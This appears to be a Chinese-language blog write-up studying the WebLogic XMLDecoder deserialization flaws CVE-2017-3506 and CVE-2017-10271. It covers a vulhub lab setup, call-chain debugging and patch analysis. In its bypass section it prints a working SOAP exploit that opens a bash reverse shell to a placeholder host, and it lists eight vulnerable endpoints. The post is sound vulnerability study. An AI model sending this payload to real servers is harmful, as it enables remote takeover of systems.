CVE-2017-3506 & CVE-2017-10271 - 从0开始学习Java反序列化 (1)

前言

学习Java反序列化进程已经拖了很久了，这次推掉一些工作上的事情，抽出一周时间专心搞一下WebLogic反序列化。从老洞到新洞，整体学习一下。

CVE-2017-3506 & CVE-2017-10271

环境搭建

先简单点，用现成的vulhub。下载下来docker-compose.yml，然后docker-compose up -d就行了。
https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2017-10271
经过实践，使用Docker并不是很简单，前前后后居然花了我一天的时间。
因为后边需要启动WebLogic的调试功能，需要开启一个远程调试的端口，所以需要改动一下docker-compose.yml开放8453端口。**在最后一行添加- "8453:8453"**。然后再docker-compose up -d

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version: '2'
services:
 weblogic:
   image: vulhub/weblogic
   ports:
    - "7001:7001"
    - "8453:8453"

Docker搭建完成后，docker exec -it container /bin/bash进入Docker，修改以下路径的文件，找到以下代码段，添加标出代码。开启debug模式。

/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

运行一下setDomainEnv.sh脚本。在这个Docker中，WebLogic进程的PID为1，杀不掉，故重启container。netstat -anp看看是否开启了8453端口。
因为要远程调试WebLogic，而WebLogic是没有源码的，所以需要把依赖的包给拷出来。
docker cp weblogic:/root/Oracle/Middleware/wlserver_10.3 ./WebLogic_jars。

ps: 这部分jar包不全，还需要将Docker中，/root/Oracle/Middleware/modules给拷出来

使用idea打开wlserver_10.3，将server/lib和/root/Oracle/Middleware/modules这两个文件夹添加到library。

添加完后，就会发现里面的.jar和.war的包都可以点开了。并且可以搜索里面的一些类和字符串了。然后设置debug。

添加一个Remote配置，

端口设置为8453，并且设置module classpath。

点击debug，出现如下字样，说明已经配置ok。

在wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class中的handle方法下断点，看看能否击中断点。

动态调试

如何定位代码呢，从POC中可以看出来是wls-wsat这个接口出的问题。
全局搜索一下文件，发现一个war包。点击去看看web.xml写了哪些接口。
wlserver_10.3/server/lib/wls-wsat.war!/WEB-INF/web.xml

第一个就是我们想要的接口。

调用栈比较深，前边都是WebLogic servlet的分发机制，稍后再进行研究。

我们从processRequest开始，因为从processRequest开始，才进入处理xml的逻辑。输入的数据最终在readUTF中被反序列化。以下是函数调用栈。

具体流程如下：

weblogic.wsee.jaxws.workcontext.WorkContextServerTube

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public NextAction processRequest(Packet var1) {
    this.isUseOldFormat = false;
    if (var1.getMessage() != null) {
        HeaderList var2 = var1.getMessage().getHeaders();
        Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
        if (var3 != null) {
            this.readHeaderOld(var3);
            this.isUseOldFormat = true;
        }

        Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
        if (var4 != null) {
            this.readHeader(var4);
        }
    }

    return super.processRequest(var1);
}

var1为传进来的POST数据，也就是XML。

var3是xml的头部解析，如果存在（头不为空），进入readHeaderOld()。跟进！

weblogic.wsee.jaxws.workcontext.WorkContextTube

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protected void readHeaderOld(Header var1) {
    try {
        XMLStreamReader var2 = var1.readHeader();
        var2.nextTag();
        var2.nextTag();
        XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
        ByteArrayOutputStream var4 = new ByteArrayOutputStream();
        XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
        var3.bridge(var2, var5);
        var5.close();
        WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
        this.receive(var6);
    } catch (XMLStreamException var7) {
        throw new WebServiceException(var7);
    } catch (IOException var8) {
        throw new WebServiceException(var8);
    }
}

在上一步中，我们只把头读了进来，其他的数据还在缓冲区中，使用ByteArrayOutputStream函数读取剩余数据到var4中。然后var5创建一个XMLStreamWriter实例后就close了，不知道做什么用的（查了查文档，依然不知道做什么用的，可能上个版本的残留？），可能是进行xml的语法检查(猜测)，没有问题的话创建WorkContextXmlInputAdapter对象。

跟进 receive()!

weblogic.wsee.jaxws.workcontext.WorkContextServerTube

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protected void receive(WorkContextInput var1) throws IOException {
    WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor();
    var2.receiveRequest(var1);
}

没什么好说的，获取当前的Context继续往下传。

weblogic.workarea.WorkContextMapImpl

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public void receiveRequest(WorkContextInput var1) throws IOException {
    ((WorkContextMapInterceptor)this.getMap()).receiveRequest(var1);
}

将数据传到下一个receiveRequest。

weblogic.workarea.WorkContextLocalMap

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public void receiveRequest(WorkContextInput var1) throws IOException {
    while(true) {
        try {
            WorkContextEntry var2 = WorkContextEntryImpl.readEntry(var1);
            if (var2 == WorkContextEntry.NULL_CONTEXT) {
                return;
            }

            String var3 = var2.getName();
            this.map.put(var3, var2);
            if (debugWorkContext.isDebugEnabled()) {
                debugWorkContext.debug("receiveRequest(" + var2.toString() + ")");
            }
        } catch (ClassNotFoundException var4) {
            if (debugWorkContext.isDebugEnabled()) {
                debugWorkContext.debug("receiveRequest : ", var4);
            }
        }
    }
}

WorkContextEntryImpl.readEntry(var1);对传进来的数据进行处理，跟进！

weblogic.workarea.spi.WorkContextEntryImpl

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public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException {
     String var1 = var0.readUTF();
     return (WorkContextEntry)(var1.length() == 0 ? NULL_CONTEXT : new WorkContextEntryImpl(var1, var0));
 }

看到readUTF()了！数据在这里被readObject()反序列化，最终RCE！

漏洞原因&补丁分析

在这里，WebLogic没有对XML的数据进行任何的过滤，导致可以构造XML数据，反序列化任意对象，从而RCE，这也就是CVE-2017-3506产生的原因。Oracle官方针对此发布了如下补丁。

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private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid context type: object");
               }
            }
         });
      } catch (ParserConfigurationException var5) {
         throw new IllegalStateException("Parser Exception", var5);
      } catch (SAXException var6) {
         throw new IllegalStateException("Parser Exception", var6);
      } catch (IOException var7) {
         throw new IllegalStateException("Parser Exception", var7);
      }
   }

如果有Element字段为object的话，就抛出异常，这显而易见是可以bypass的，比如如下Exp，使用java.beans.XMLDecoder进行代码执行：

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<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>/bin/bash -i &gt; /dev/tcp/xxx.xxx.xxx.xxx/8888 0&lt;&amp;1 2&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

所以针对CVE-2017-10271，发布了新的补丁：

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public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
            if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }
            }
    }
    }

补充了startElement函数，对于object，new,method,void，array字段抛出异常，无法生成java 实例。（补丁网上找的，感觉不全，回来看看下一个版本的源码，再补一下）。

Exploit


补充

其实并不是只有CoordinatorPortType这一个接口可以打，从wls-wsat.wra/web.xml中可以看出其中又八个接口，都是使用同一个包(weblogic.wsee.wstx)处理，所以以下八个接口均可以利用。

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/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

说点废话

这个漏洞调下来，感觉摸到java反序列化的大门了，管中窥豹，知其一二。
下篇学习一下Java反序列化的具体利用。
疑问：如何定位到WLSServletAdapter.class的handle???求大佬们指点迷津

Reference

https://www.anquanke.com/post/id/102768#h2-5
https://zhuanlan.zhihu.com/p/32301092
http://pirogue.org/2017/12/29/weblogic-XMLDecoder/
http://xxlegend.com/2017/12/22/Weblogic%20CVE-2017-10271%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/

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